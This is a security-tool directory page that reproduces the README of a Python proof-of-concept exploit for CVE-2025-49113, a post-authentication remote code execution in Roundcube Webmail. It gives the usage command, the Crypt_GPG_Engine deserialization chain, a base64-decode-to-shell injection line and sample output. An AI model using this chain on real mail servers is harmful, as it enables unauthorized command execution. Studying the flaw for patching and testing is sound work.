Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-49113 — 💥 Python Exploit for CVE-2025-49113 | Roundcube Webmail RCE via PHP Object Injection | Kitploit
Tools/GitHubGitHub/00xcanelo/cve-2025-49113
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHub00xcanelo/cve-2025-49113

CVE-2025-49113

💥 Python Exploit for CVE-2025-49113 | Roundcube Webmail RCE via PHP Object Injection

View Repository
86101 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-49113 – Roundcube Webmail RCE Exploit (Python PoC)

CVE ID: CVE-2025-49113
Exploit Type: Remote Code Execution (via PHP Object Injection)
Application: Roundcube Webmail ≤ 1.5.9 and ≤ 1.6.10
Exploit Language: Python
Author: 00xCanelo
Status: Tested and Working on Vulnerable Roundcube Installations


📌 Description

This exploit leverages a vulnerability in how Roundcube Webmail handles uploaded image filenames which are unserialized as PHP objects. By crafting a malicious payload that triggers a Crypt_GPG_Engine deserialization chain, remote command execution can be achieved post-authentication.

This Python PoC mimics the attack chain used by the public PHP exploit, but with cleaner logic, optional logging, and ease of usage in offensive tooling setups.


🚧 Prerequisites

  • Vulnerable Roundcube version (≤1.5.9 or ≤1.6.10)
  • Valid user credentials on Roundcube
  • Python 3.x environment
  • pip install requests

🚀 Exploitation Steps

root@kitploit:~
python3 CVE-2025-49113.py <target_url> <username> <password> <command>

Example:

root@kitploit:~
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'

🔐 Vulnerable Chain

The PHP class Crypt_GPG_Engine allows setting a _gpgconf field, which is then passed to shell execution.

Our payload crafts:

root@kitploit:~
echo "<base64-encoded-cmd>" | base64 -d | sh

in _gpgconf, which leads to RCE upon deserialization.


💣 Sample Output

root@kitploit:~
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!

📁 File Structure

root@kitploit:~
.
├── CVE-2025-49113.py     # Python PoC script
└── README.md             # This documentation

⚠️ Disclaimer

This code is for educational and authorized security testing purposes only. Any misuse of this tool is strictly prohibited. The author is not responsible for any damages caused.


🧠 References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-49113
  • https://github.com/roundcube/roundcubemail/issues/9312
  • https://huntr.dev/bounties/f8e2a8e6-d1d7-44e1-93e1-367861c97a82/
Download Tool